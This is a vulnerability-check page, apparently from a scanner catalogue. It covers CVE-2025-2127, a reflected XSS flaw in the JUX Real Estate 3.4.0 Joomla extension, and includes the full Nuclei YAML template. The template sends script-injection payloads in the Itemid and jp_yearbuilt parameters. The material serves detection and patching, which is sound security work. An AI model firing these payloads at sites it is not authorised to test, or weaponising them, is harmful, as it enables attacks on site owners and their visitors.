JoomlaUX JUX Real Estate 3.4.0 - Reflected XSS

mediumseverity

4.3CVSS score

1%likelihood of exploitation, next 30 days

63%of all CVEs are less likely

Readycheck to confirm it

A vulnerability was found in JoomlaUX JUX Real Estate 3.4.0 on Joomla. It has been classified as problematic. Affected is an unknown function of the file /extensions/realestate/index.php/properties/list/list-with-sidebar/realties. The manipulation of the argument Itemid/jp_yearbuilt leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Impact

Attackers can inject malicious JavaScript through the Itemid and jp_yearbuilt parameters, potentially stealing user session cookies, redirecting users to malicious sites, or performing unauthorized actions in the context of authenticated users.

Fix

Upgrade to the latest patched version of JUX Real Estate that properly sanitizes user input.

How to confirm it

Send: GET {{BaseURL}}/extensions/realestate/index.php/properties/list/list-with-sidebar/realties?option=com_jux_real_estate&view=realties&Itemid=6wdv%22%3E%3Cs… ; GET {{BaseURL}}/extensions/realestate/index.php/properties/list/list-with-sidebar/realties?option=com_jux_real_estate&view=realties&Itemid=148&title=&pri…
Positive when: contains "<script>alert(document.domain)</script>" and "joomlaux" AND contains in content_type "text/html"

Run it with nuclei: nuclei -id CVE-2025-2127 -u <target>

The full check

id: CVE-2025-2127

info:
  name: JoomlaUX JUX Real Estate 3.4.0 - Reflected XSS
  author: 3th1c_yuk1
  severity: medium
  description: |
    A vulnerability was found in JoomlaUX JUX Real Estate 3.4.0 on Joomla. It has been classified as problematic. Affected is an unknown function of the file /extensions/realestate/index.php/properties/list/list-with-sidebar/realties. The manipulation of the argument Itemid/jp_yearbuilt leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
  impact: |
    Attackers can inject malicious JavaScript through the Itemid and jp_yearbuilt parameters, potentially stealing user session cookies, redirecting users to malicious sites, or performing unauthorized actions in the context of authenticated users.
  remediation: |
    Upgrade to the latest patched version of JUX Real Estate that properly sanitizes user input.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2127
    - https://vuldb.com/?id.299040
    - https://vuldb.com/?ctiid.299040
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
    cvss-score: 4.3
    cve-id: CVE-2025-2127
    cwe-id: CWE-79
    epss-score: 0.00977
    epss-percentile: 0.62421
    cpe: cpe:2.3:a:joomlaux:jux_real_estate:3.4.0:*:*:*:*:joomla:*:*
  metadata:
    vendor: joomlaux
    product: jux_real_estate
    framework: joomla
    fofa-query: body="joomlaux"
    verified: true
    max-request: 2
  tags: cve,cve2025,joomlaux,joomla,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/extensions/realestate/index.php/properties/list/list-with-sidebar/realties?option=com_jux_real_estate&view=realties&Itemid=6wdv%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3Ewz8nu&title=&price_slider_lower=63752&price_slider_upper=400000&area_slider_lower=30&area_slider_upper=400&type_id=2&cat_id=8&country_id=73&locstate=187&beds=1&agent_id=112&baths=1&jp_yearbuilt=&button=Search"
      - "{{BaseURL}}/extensions/realestate/index.php/properties/list/list-with-sidebar/realties?option=com_jux_real_estate&view=realties&Itemid=148&title=&price_slider_lower=63752&price_slider_upper=400000&area_slider_lower=30&area_slider_upper=400&type_id=2&cat_id=8&country_id=73&locstate=187&beds=1&agent_id=112&baths=1&jp_yearbuilt=mzbpj%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3eflmo8&button=Search"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'joomlaux'
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

References

Use this check only on systems you are authorised to test. Where the data comes from